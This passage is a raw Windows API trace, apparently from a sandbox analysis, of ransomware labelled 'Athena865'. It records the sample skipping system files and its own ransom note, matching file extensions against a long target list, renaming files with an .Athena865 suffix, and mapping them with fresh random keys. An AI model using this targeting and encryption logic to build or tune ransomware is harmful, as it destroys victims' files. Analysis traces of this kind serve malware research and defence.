(lpString1=".htm", lpString2="nwdb") returned -1 [0116.393] lstrlenW (lpString="nyf") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0116.393] lstrlenW (lpString="odb") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0116.393] lstrlenW (lpString="odb") returned 3 [0116.393] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0116.393] lstrlenW (lpString="oqy") returned 3 [0116.394] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0116.395] lstrlenW (lpString="ora") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0116.395] lstrlenW (lpString="orx") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0116.395] lstrlenW (lpString="owc") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0116.395] lstrlenW (lpString="p96") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0116.395] lstrlenW (lpString="p97") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0116.395] lstrlenW (lpString="pan") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0116.395] lstrlenW (lpString="pdb") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0116.395] lstrlenW (lpString="pdm") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0116.395] lstrlenW (lpString="pnz") returned 3 [0116.395] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0116.396] lstrlenW (lpString="qry") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0116.396] lstrlenW (lpString="qvd") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0116.396] lstrlenW (lpString="rbf") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0116.396] lstrlenW (lpString="rctd") returned 4 [0116.396] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0116.396] lstrlenW (lpString="rod") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0116.396] lstrlenW (lpString="rodx") returned 4 [0116.396] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0116.396] lstrlenW (lpString="rpd") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0116.396] lstrlenW (lpString="rsd") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0116.396] lstrlenW (lpString="sas7bdat") returned 8 [0116.396] lstrcmpiW (lpString1="ears.htm", lpString2="sas7bdat") returned -1 [0116.396] lstrlenW (lpString="sbf") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0116.396] lstrlenW (lpString="scx") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0116.396] lstrlenW (lpString="sdb") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0116.396] lstrlenW (lpString="sdc") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0116.396] lstrlenW (lpString="sdf") returned 3 [0116.396] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0116.396] lstrlenW (lpString="sis") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0116.397] lstrlenW (lpString="spq") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0116.397] lstrlenW (lpString="te") returned 2 [0116.397] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0116.397] lstrlenW (lpString="teacher") returned 7 [0116.397] lstrcmpiW (lpString1="ars.htm", lpString2="teacher") returned -1 [0116.397] lstrlenW (lpString="tmd") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0116.397] lstrlenW (lpString="tps") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0116.397] lstrlenW (lpString="trc") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0116.397] lstrlenW (lpString="trc") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0116.397] lstrlenW (lpString="trm") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0116.397] lstrlenW (lpString="udb") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0116.397] lstrlenW (lpString="udl") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0116.397] lstrlenW (lpString="usr") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0116.397] lstrlenW (lpString="v12") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0116.397] lstrlenW (lpString="vis") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0116.397] lstrlenW (lpString="vpd") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0116.397] lstrlenW (lpString="vvv") returned 3 [0116.397] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0116.398] lstrlenW (lpString="wdb") returned 3 [0116.398] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0116.398] lstrlenW (lpString="wmdb") returned 4 [0116.398] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0116.398] lstrlenW (lpString="wrk") returned 3 [0116.398] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0116.398] lstrlenW (lpString="xdb") returned 3 [0116.398] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0116.398] lstrlenW (lpString="xld") returned 3 [0116.398] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0116.398] lstrlenW (lpString="xmlff") returned 5 [0116.398] lstrcmpiW (lpString1="s.htm", lpString2="xmlff") returned -1 [0116.398] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.Athena865") returned 77 [0116.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.athena865"), dwFlags=0x1) returned 1 [0116.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.400] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=255) returned 1 [0116.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.400] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.400] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.401] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.401] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.401] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x154 [0116.403] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000 [0116.404] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.404] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.404] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.404] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.404] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.405] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.405] CloseHandle (hObject=0x154) returned 1 [0116.405] CloseHandle (hObject=0x17c) returned 1 [0116.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.405] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0116.405] lstrcmpiW (lpString1="Bears.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2=".") returned 1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="..") returned 1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="windows") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="bootmgr") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="temp") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="pagefile.sys") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="boot") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="ids.txt") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="ntuser.dat") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="perflogs") returned -1 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2="MSBuild") returned -1 [0116.406] lstrlenW (lpString="Bears.jpg") returned 9 [0116.406] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Bears.jpg" | out: lpString1="Bears.jpg") returned="Bears.jpg" [0116.406] lstrlenW (lpString="Bears.jpg") returned 9 [0116.406] lstrlenW (lpString="Athena865") returned 9 [0116.406] lstrlenW (lpString=".dll") returned 4 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2=".dll") returned 1 [0116.406] lstrlenW (lpString=".lnk") returned 4 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2=".lnk") returned 1 [0116.406] lstrlenW (lpString=".ini") returned 4 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2=".ini") returned 1 [0116.406] lstrlenW (lpString=".sys") returned 4 [0116.406] lstrcmpiW (lpString1="Bears.jpg", lpString2=".sys") returned 1 [0116.406] lstrlenW (lpString="Bears.jpg") returned 9 [0116.406] lstrlenW (lpString="bak") returned 3 [0116.406] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0116.406] lstrlenW (lpString="ba_") returned 3 [0116.406] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0116.406] lstrlenW (lpString="dbb") returned 3 [0116.406] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0116.407] lstrlenW (lpString="vmdk") returned 4 [0116.407] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0116.407] lstrlenW (lpString="rar") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0116.407] lstrlenW (lpString="zip") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0116.407] lstrlenW (lpString="tgz") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0116.407] lstrlenW (lpString="vbox") returned 4 [0116.407] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0116.407] lstrlenW (lpString="vdi") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0116.407] lstrlenW (lpString="vhd") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0116.407] lstrlenW (lpString="vhdx") returned 4 [0116.407] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0116.407] lstrlenW (lpString="avhd") returned 4 [0116.407] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0116.407] lstrlenW (lpString="db") returned 2 [0116.407] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0116.407] lstrlenW (lpString="db2") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0116.407] lstrlenW (lpString="db3") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0116.407] lstrlenW (lpString="dbf") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0116.407] lstrlenW (lpString="mdf") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0116.407] lstrlenW (lpString="mdb") returned 3 [0116.407] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0116.407] lstrlenW (lpString="sql") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0116.408] lstrlenW (lpString="sqlite") returned 6 [0116.408] lstrcmpiW (lpString1="rs.jpg", lpString2="sqlite") returned -1 [0116.408] lstrlenW (lpString="sqlite3") returned 7 [0116.408] lstrcmpiW (lpString1="ars.jpg", lpString2="sqlite3") returned -1 [0116.408] lstrlenW (lpString="sqlitedb") returned 8 [0116.408] lstrcmpiW (lpString1="ears.jpg", lpString2="sqlitedb") returned -1 [0116.408] lstrlenW (lpString="xml") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0116.408] lstrlenW (lpString="$er") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0116.408] lstrlenW (lpString="4dd") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0116.408] lstrlenW (lpString="4dl") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0116.408] lstrlenW (lpString="^^^") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0116.408] lstrlenW (lpString="abs") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0116.408] lstrlenW (lpString="abx") returned 3 [0116.408] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0116.408] lstrlenW (lpString="accdb") returned 5 [0116.408] lstrcmpiW (lpString1="s.jpg", lpString2="accdb") returned 1 [0116.408] lstrlenW (lpString="accdc") returned 5 [0116.408] lstrcmpiW (lpString1="s.jpg", lpString2="accdc") returned 1 [0116.408] lstrlenW (lpString="accde") returned 5 [0116.408] lstrcmpiW (lpString1="s.jpg", lpString2="accde") returned 1 [0116.408] lstrlenW (lpString="accdr") returned 5 [0116.408] lstrcmpiW (lpString1="s.jpg", lpString2="accdr") returned 1 [0116.408] lstrlenW (lpString="accdt") returned 5 [0116.409] lstrcmpiW (lpString1="s.jpg", lpString2="accdt") returned 1 [0116.409] lstrlenW (lpString="accdw") returned 5 [0116.409] lstrcmpiW (lpString1="s.jpg", lpString2="accdw") returned 1 [0116.409] lstrlenW (lpString="accft") returned 5 [0116.409] lstrcmpiW (lpString1="s.jpg", lpString2="accft") returned 1 [0116.409] lstrlenW (lpString="adb") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.409] lstrlenW (lpString="adb") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0116.409] lstrlenW (lpString="ade") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0116.409] lstrlenW (lpString="adf") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0116.409] lstrlenW (lpString="adn") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0116.409] lstrlenW (lpString="adp") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0116.409] lstrlenW (lpString="alf") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0116.409] lstrlenW (lpString="ask") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0116.409] lstrlenW (lpString="btr") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0116.409] lstrlenW (lpString="cat") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0116.409] lstrlenW (lpString="cdb") returned 3 [0116.409] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0116.409] lstrlenW (lpString="ckp") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0116.410] lstrlenW (lpString="cma") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0116.410] lstrlenW (lpString="cpd") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0116.410] lstrlenW (lpString="dacpac") returned 6 [0116.410] lstrcmpiW (lpString1="rs.jpg", lpString2="dacpac") returned 1 [0116.410] lstrlenW (lpString="dad") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0116.410] lstrlenW (lpString="dadiagrams") returned 10 [0116.410] lstrlenW (lpString="daschema") returned 8 [0116.410] lstrcmpiW (lpString1="ears.jpg", lpString2="daschema") returned 1 [0116.410] lstrlenW (lpString="db-journal") returned 10 [0116.410] lstrlenW (lpString="db-shm") returned 6 [0116.410] lstrcmpiW (lpString1="rs.jpg", lpString2="db-shm") returned 1 [0116.410] lstrlenW (lpString="db-wal") returned 6 [0116.410] lstrcmpiW (lpString1="rs.jpg", lpString2="db-wal") returned 1 [0116.410] lstrlenW (lpString="dbc") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0116.410] lstrlenW (lpString="dbs") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0116.410] lstrlenW (lpString="dbt") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0116.410] lstrlenW (lpString="dbv") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0116.410] lstrlenW (lpString="dbx") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0116.410] lstrlenW (lpString="dcb") returned 3 [0116.410] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0116.411] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0116.411] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0116.411] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0116.411] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0116.411] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0116.411] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.Athena865") returned 77 [0116.411] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.athena865"), dwFlags=0x1) returned 1 [0116.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.412] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1074) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.412] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.413] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.413] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.413] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x740, lpName=0x0) returned 0x154 [0116.415] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x740) returned 0x100000 [0116.415] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.416] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.416] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.417] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.417] CloseHandle (hObject=0x154) returned 1 [0116.417] CloseHandle (hObject=0x17c) returned 1 [0116.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.417] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0116.417] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.417] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.417] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".") returned 1 [0116.417] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="..") returned 1 [0116.417] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="windows") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="bootmgr") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="temp") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="pagefile.sys") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="boot") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ids.txt") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="ntuser.dat") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="perflogs") returned -1 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2="MSBuild") returned -1 [0116.418] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0116.418] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Blue_Gradient.jpg" | out: lpString1="Blue_Gradient.jpg") returned="Blue_Gradient.jpg" [0116.418] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0116.418] lstrlenW (lpString="Athena865") returned 9 [0116.418] lstrcmpiW (lpString1="dient.jpg", lpString2="Athena865") returned 1 [0116.418] lstrlenW (lpString=".dll") returned 4 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".dll") returned 1 [0116.418] lstrlenW (lpString=".lnk") returned 4 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".lnk") returned 1 [0116.418] lstrlenW (lpString=".ini") returned 4 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".ini") returned 1 [0116.418] lstrlenW (lpString=".sys") returned 4 [0116.418] lstrcmpiW (lpString1="Blue_Gradient.jpg", lpString2=".sys") returned 1 [0116.418] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0116.418] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.Athena865") returned 85 [0116.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.athena865"), dwFlags=0x1) returned 1 